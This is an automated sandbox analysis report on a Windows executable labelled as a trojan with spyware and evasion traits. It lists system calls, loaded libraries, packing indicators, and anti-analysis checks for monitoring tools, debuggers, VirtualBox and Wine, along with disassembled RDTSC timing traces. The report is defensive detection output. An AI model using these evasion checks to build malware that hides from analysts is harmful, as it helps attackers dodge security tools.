Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: String function: 009150A0 appears 86 times
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: String function: 008ECCD0 appears 54 times
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: String function: 00A87220 appears 85 times
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: String function: 008D75A0 appears 592 times
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: String function: 00915340 appears 41 times
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: String function: 00914F40 appears 285 times
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: String function: 00914FD0 appears 219 times
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: String function: 008ECD40 appears 68 times
Source: 4o4t8dO4r1.exeStatic PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED
Source: 4o4t8dO4r1.exeStatic PE information: Section: rskkrnmo ZLIB complexity 0.9942508362420012
Source: classification engineClassification label: mal100.troj.spyw.evad.winEXE@1/0@8/2
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: 0_2_008D255D GetSystemInfo,GlobalMemoryStatusEx,GetDriveTypeA,GetDiskFreeSpaceExA,KiUserCallbackDispatcher,SHGetKnownFolderPath,FindFirstFileW,FindNextFileW,K32EnumProcesses,0_2_008D255D
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: 0_2_008D29FF FindFirstFileA,RegOpenKeyExA,CharUpperA,CreateToolhelp32Snapshot,QueryFullProcessImageNameA,CloseHandle,CreateToolhelp32Snapshot,CloseHandle,0_2_008D29FF
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeMutant created: \Sessions\1\BaseNamedObjects\My_mutex
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: 4o4t8dO4r1.exeReversingLabs: Detection: 60%
Source: 4o4t8dO4r1.exeVirustotal: Detection: 40%
Source: 4o4t8dO4r1.exeString found in binary or memory: Unable to complete request for channel-process-startup
Source: 4o4t8dO4r1.exeString found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeSection loaded: apphelp.dllJump to behavior
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeSection loaded: winmm.dllJump to behavior
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeSection loaded: cryptsp.dllJump to behavior
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeSection loaded: rsaenh.dllJump to behavior
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeSection loaded: dhcpcsvc6.dllJump to behavior
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeSection loaded: dhcpcsvc.dllJump to behavior
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeSection loaded: dnsapi.dllJump to behavior
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeSection loaded: napinsp.dllJump to behavior
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeSection loaded: pnrpnsp.dllJump to behavior
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeSection loaded: wshbth.dllJump to behavior
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeSection loaded: nlaapi.dllJump to behavior
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeSection loaded: mswsock.dllJump to behavior
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeSection loaded: winrnr.dllJump to behavior
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeSection loaded: wldp.dllJump to behavior
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeSection loaded: windowscodecs.dllJump to behavior
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeSection loaded: napinsp.dllJump to behavior
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeSection loaded: pnrpnsp.dllJump to behavior
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeSection loaded: wshbth.dllJump to behavior
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeSection loaded: nlaapi.dllJump to behavior
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeSection loaded: winrnr.dllJump to behavior
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeSection loaded: kernel.appcore.dllJump to behavior
Source: 4o4t8dO4r1.exeStatic file information: File size 4432384 > 1048576
Source: 4o4t8dO4r1.exeStatic PE information: Raw size of is bigger than: 0x100000 < 0x288a00
Source: 4o4t8dO4r1.exeStatic PE information: Raw size of rskkrnmo is bigger than: 0x100000 < 0x1adc00

Data Obfuscation

barindex
Detected unpacking (changes PE section rights)
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeUnpacked PE file: 0.2.4o4t8dO4r1.exe.8d0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;rskkrnmo:EW;bspbawlj:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;rskkrnmo:EW;bspbawlj:EW;.taggant:EW;
Source: initial sampleStatic PE information: section where entry point is pointing to: .taggant
Source: 4o4t8dO4r1.exeStatic PE information: real checksum: 0x44244d should be: 0x440ba9
Source: 4o4t8dO4r1.exeStatic PE information: section name:
Source: 4o4t8dO4r1.exeStatic PE information: section name: .idata
Source: 4o4t8dO4r1.exeStatic PE information: section name:
Source: 4o4t8dO4r1.exeStatic PE information: section name: rskkrnmo
Source: 4o4t8dO4r1.exeStatic PE information: section name: bspbawlj
Source: 4o4t8dO4r1.exeStatic PE information: section name: .taggant
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: 0_3_01B08BA0 push ss; retf 0_3_01B08BA1
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: 0_3_01B0C996 push ecx; ret 0_3_01B0C999
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: 0_3_01B0C996 push ecx; ret 0_3_01B0C999
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: 0_3_01B0C996 push ecx; ret 0_3_01B0C999
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: 0_3_01B0C996 push ecx; ret 0_3_01B0C999
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: 0_3_01B1CAE5 push ss; ret 0_3_01B1CAE7
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: 0_3_01B1CAE5 push ss; ret 0_3_01B1CAE7
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: 0_3_01B1CAE5 push ss; ret 0_3_01B1CAE7
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: 0_3_01B0C996 push ecx; ret 0_3_01B0C999
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: 0_3_01B0C996 push ecx; ret 0_3_01B0C999
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: 0_3_01B1CAE5 push ss; ret 0_3_01B1CAE7
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: 0_3_01B1CAE5 push ss; ret 0_3_01B1CAE7
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: 0_3_01B1CAE5 push ss; ret 0_3_01B1CAE7
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: 0_3_01B1CAE5 push ss; ret 0_3_01B1CAE7
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: 0_3_01B1CAE5 push ss; ret 0_3_01B1CAE7
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: 0_3_01B1CAE5 push ss; ret 0_3_01B1CAE7
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: 0_2_00C541D0 push eax; mov dword ptr [esp], edx0_2_00C541D5
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: 0_2_00952340 push eax; mov dword ptr [esp], 00000000h0_2_00952343
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: 0_2_0098C7F0 push eax; mov dword ptr [esp], 00000000h0_2_0098C743
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: 0_2_00910AC0 push eax; mov dword ptr [esp], 00000000h0_2_00910AC4
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: 0_2_00931430 push eax; mov dword ptr [esp], 00000000h0_2_00931433
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: 0_2_009539A0 push eax; mov dword ptr [esp], 00000000h0_2_009539A3
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: 0_2_0092DAD0 push eax; mov dword ptr [esp], edx0_2_0092DAD1
Source: 4o4t8dO4r1.exeStatic PE information: section name: rskkrnmo entropy: 7.954910514470701

Boot Survival

barindex
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeWindow searched: window name: FilemonClassJump to behavior
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeWindow searched: window name: PROCMON_WINDOW_CLASSJump to behavior
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeWindow searched: window name: RegmonClassJump to behavior
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeWindow searched: window name: FilemonClassJump to behavior
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeWindow searched: window name: PROCMON_WINDOW_CLASSJump to behavior
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeWindow searched: window name: RegmonclassJump to behavior
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeWindow searched: window name: FilemonclassJump to behavior
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeWindow searched: window name: PROCMON_WINDOW_CLASSJump to behavior

Malware Analysis System Evasion

barindex
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeFile opened: HKEY_CURRENT_USER\Software\WineJump to behavior
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeFile opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__Jump to behavior
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Source: 4o4t8dO4r1.exe, 00000000.00000002.2213024646.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, 4o4t8dO4r1.exe, 00000000.00000003.2070619864.0000000007880000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: PROCMON.EXE
Source: 4o4t8dO4r1.exe, 00000000.00000002.2213024646.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, 4o4t8dO4r1.exe, 00000000.00000003.2070619864.0000000007880000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: X64DBG.EXE
Source: 4o4t8dO4r1.exe, 00000000.00000002.2213024646.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, 4o4t8dO4r1.exe, 00000000.00000003.2070619864.0000000007880000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: WINDBG.EXE
Source: 4o4t8dO4r1.exe, 00000000.00000003.2070619864.0000000007880000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: SYSINTERNALSNUM_PROCESSORNUM_RAMNAMEALLFREEDRIVERSNUM_DISPLAYSRESOLUTION_XRESOLUTION_Y\*RECENT_FILESPROCESSESUPTIME_MINUTESC:\WINDOWS\SYSTEM32\VBOX*.DLL01VBOX_FIRSTSYSTEM\CONTROLSET001\SERVICES\VBOXSFVBOX_SECONDC:\USERS\PUBLIC\PUBLIC_CHECKWINDBG.EXEDBGWIRESHARK.EXEPROCMON.EXEX64DBG.EXEIDA.EXEDBG_SECDBG_THIRDYADROINSTALLED_APPSSOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALLSOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL%D%S\%SDISPLAYNAMEAPP_NAMEINDEXCREATETOOLHELP32SNAPSHOT FAILED.
Source: 4o4t8dO4r1.exe, 00000000.00000002.2213024646.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, 4o4t8dO4r1.exe, 00000000.00000003.2070619864.0000000007880000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: WIRESHARK.EXE
Tries to detect virtualization through RDTSC time measurements
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: FB2141 second address: FB1A53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FA37887CBE6h 0x0000000a popad 0x0000000b pop ecx 0x0000000c mov dword ptr [esp], eax 0x0000000f cmc 0x00000010 push dword ptr [ebp+122D12D5h] 0x00000016 mov dword ptr [ebp+122D3597h], eax 0x0000001c pushad 0x0000001d push edi 0x0000001e mov dword ptr [ebp+122D348Fh], esi 0x00000024 pop eax 0x00000025 mov ecx, dword ptr [ebp+122D38ADh] 0x0000002b popad 0x0000002c call dword ptr [ebp+122D1A9Dh] 0x00000032 pushad 0x00000033 sub dword ptr [ebp+122D322Fh], esi 0x00000039 xor eax, eax 0x0000003b mov dword ptr [ebp+122D3350h], ebx 0x00000041 mov dword ptr [ebp+122D322Fh], ecx 0x00000047 mov edx, dword ptr [esp+28h] 0x0000004b mov dword ptr [ebp+122D3522h], edi 0x00000051 mov dword ptr [ebp+122D3965h], eax 0x00000057 sub dword ptr [ebp+122D3350h], ebx 0x0000005d mov esi, 0000003Ch 0x00000062 mov dword ptr [ebp+122D3522h], edx 0x00000068 add esi, dword ptr [esp+24h] 0x0000006c jmp 00007FA37887CBF7h 0x00000071 clc 0x00000072 lodsw 0x00000074 mov dword ptr [ebp+122D32F3h], edx 0x0000007a add eax, dword ptr [esp+24h] 0x0000007e xor dword ptr [ebp+122D322Fh], ebx 0x00000084 mov ebx, dword ptr [esp+24h] 0x00000088 mov dword ptr [ebp+122D322Fh], esi 0x0000008e push eax 0x0000008f push eax 0x00000090 push edx 0x00000091 jmp 00007FA37887CBEFh 0x00000096 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1124274 second address: 1124281 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FA378880E26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1124281 second address: 112429D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA37887CBF7h 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 112429D second address: 11242A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11242A3 second address: 11242AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FA37887CBE6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11242AD second address: 11242DE instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007FA378880E2Dh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jbe 00007FA378880E32h 0x00000011 ja 00007FA378880E26h 0x00000017 jo 00007FA378880E26h 0x0000001d pop edx 0x0000001e pop eax 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 jnp 00007FA378880E26h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11242DE second address: 11242E4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11242E4 second address: 11242F0 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FA378880E2Eh 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 112370B second address: 112370F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 112370F second address: 112372B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FA378880E33h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 112387C second address: 1123880 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1123880 second address: 112388A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 112388A second address: 112388E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 112388E second address: 1123892 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1123892 second address: 1123898 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1123898 second address: 112389D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1123B78 second address: 1123B8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FA37887CBE6h 0x0000000a pop ecx 0x0000000b push ebx 0x0000000c je 00007FA37887CBE6h 0x00000012 pop ebx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1123B8B second address: 1123B9C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA378880E2Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1123B9C second address: 1123BA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1123BA0 second address: 1123BA4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 112703B second address: 1127041 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1127041 second address: FB1A53 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FA378880E26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c add dword ptr [esp], 6FFDAF00h 0x00000013 push 00000000h 0x00000015 push eax 0x00000016 call 00007FA378880E28h 0x0000001b pop eax 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 add dword ptr [esp+04h], 00000019h 0x00000028 inc eax 0x00000029 push eax 0x0000002a ret 0x0000002b pop eax 0x0000002c ret 0x0000002d mov ecx, edx 0x0000002f push dword ptr [ebp+122D12D5h] 0x00000035 mov edx, dword ptr [ebp+122D3899h] 0x0000003b call dword ptr [ebp+122D1A9Dh] 0x00000041 pushad 0x00000042 sub dword ptr [ebp+122D322Fh], esi 0x00000048 xor eax, eax 0x0000004a mov dword ptr [ebp+122D3350h], ebx 0x00000050 mov dword ptr [ebp+122D322Fh], ecx 0x00000056 mov edx, dword ptr [esp+28h] 0x0000005a mov dword ptr [ebp+122D3522h], edi 0x00000060 mov dword ptr [ebp+122D3965h], eax 0x00000066 sub dword ptr [ebp+122D3350h], ebx 0x0000006c mov esi, 0000003Ch 0x00000071 mov dword ptr [ebp+122D3522h], edx 0x00000077 add esi, dword ptr [esp+24h] 0x0000007b jmp 00007FA378880E37h 0x00000080 clc 0x00000081 lodsw 0x00000083 mov dword ptr [ebp+122D32F3h], edx 0x00000089 add eax, dword ptr [esp+24h] 0x0000008d xor dword ptr [ebp+122D322Fh], ebx 0x00000093 mov ebx, dword ptr [esp+24h] 0x00000097 mov dword ptr [ebp+122D322Fh], esi 0x0000009d push eax 0x0000009e push eax 0x0000009f push edx 0x000000a0 jmp 00007FA378880E2Fh 0x000000a5 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11270AA second address: 1127173 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007FA37887CBF2h 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c cmc 0x0000000d push 00000000h 0x0000000f mov edi, dword ptr [ebp+122D38E9h] 0x00000015 push 5BA76DFFh 0x0000001a jg 00007FA37887CC05h 0x00000020 xor dword ptr [esp], 5BA76D7Fh 0x00000027 add dword ptr [ebp+122D3348h], ebx 0x0000002d push 00000003h 0x0000002f mov edx, dword ptr [ebp+122D3789h] 0x00000035 push 00000000h 0x00000037 mov cl, 39h 0x00000039 push 00000003h 0x0000003b push D8F7119Dh 0x00000040 jmp 00007FA37887CBF5h 0x00000045 xor dword ptr [esp], 18F7119Dh 0x0000004c and edx, 2140C2E0h 0x00000052 lea ebx, dword ptr [ebp+12448F60h] 0x00000058 push 00000000h 0x0000005a push esi 0x0000005b call 00007FA37887CBE8h 0x00000060 pop esi 0x00000061 mov dword ptr [esp+04h], esi 0x00000065 add dword ptr [esp+04h], 0000001Ch 0x0000006d inc esi 0x0000006e push esi 0x0000006f ret 0x00000070 pop esi 0x00000071 ret 0x00000072 or esi, 3F8C063Fh 0x00000078 xchg eax, ebx 0x00000079 push eax 0x0000007a push edx 0x0000007b ja 00007FA37887CBE8h 0x00000081 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 112728F second address: 1127293 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1127395 second address: 11273F9 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 call 00007FA37887CBF6h 0x0000000e pop ecx 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push eax 0x00000014 call 00007FA37887CBE8h 0x00000019 pop eax 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e add dword ptr [esp+04h], 0000001Ah 0x00000026 inc eax 0x00000027 push eax 0x00000028 ret 0x00000029 pop eax 0x0000002a ret 0x0000002b pushad 0x0000002c mov dword ptr [ebp+122D3380h], edi 0x00000032 cld 0x00000033 popad 0x00000034 jne 00007FA37887CBE8h 0x0000003a push 1EF7DFFDh 0x0000003f push eax 0x00000040 push edx 0x00000041 jl 00007FA37887CBE8h 0x00000047 push esi 0x00000048 pop esi 0x00000049 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11274AA second address: 11274B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11274B0 second address: 11274B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1146F90 second address: 1146F9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jp 00007FA378880E26h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1146F9E second address: 1146FA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1144E06 second address: 1144E0C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1144E0C second address: 1144E16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FA37887CBE6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1144FF5 second address: 1145004 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 push edx 0x00000009 pop edx 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1145004 second address: 114500E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FA37887CBE6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 114500E second address: 1145012 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 114518E second address: 11451B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FA37887CBF1h 0x00000008 jnc 00007FA37887CBE6h 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 jp 00007FA37887CC1Fh 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11451B7 second address: 11451C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FA378880E26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11454B3 second address: 11454BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FA37887CBE6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11454BD second address: 11454C3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11454C3 second address: 1145500 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FA37887CBF7h 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push edx 0x00000010 jmp 00007FA37887CBF8h 0x00000015 pushad 0x00000016 popad 0x00000017 pop edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1145500 second address: 1145515 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jmp 00007FA378880E2Eh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
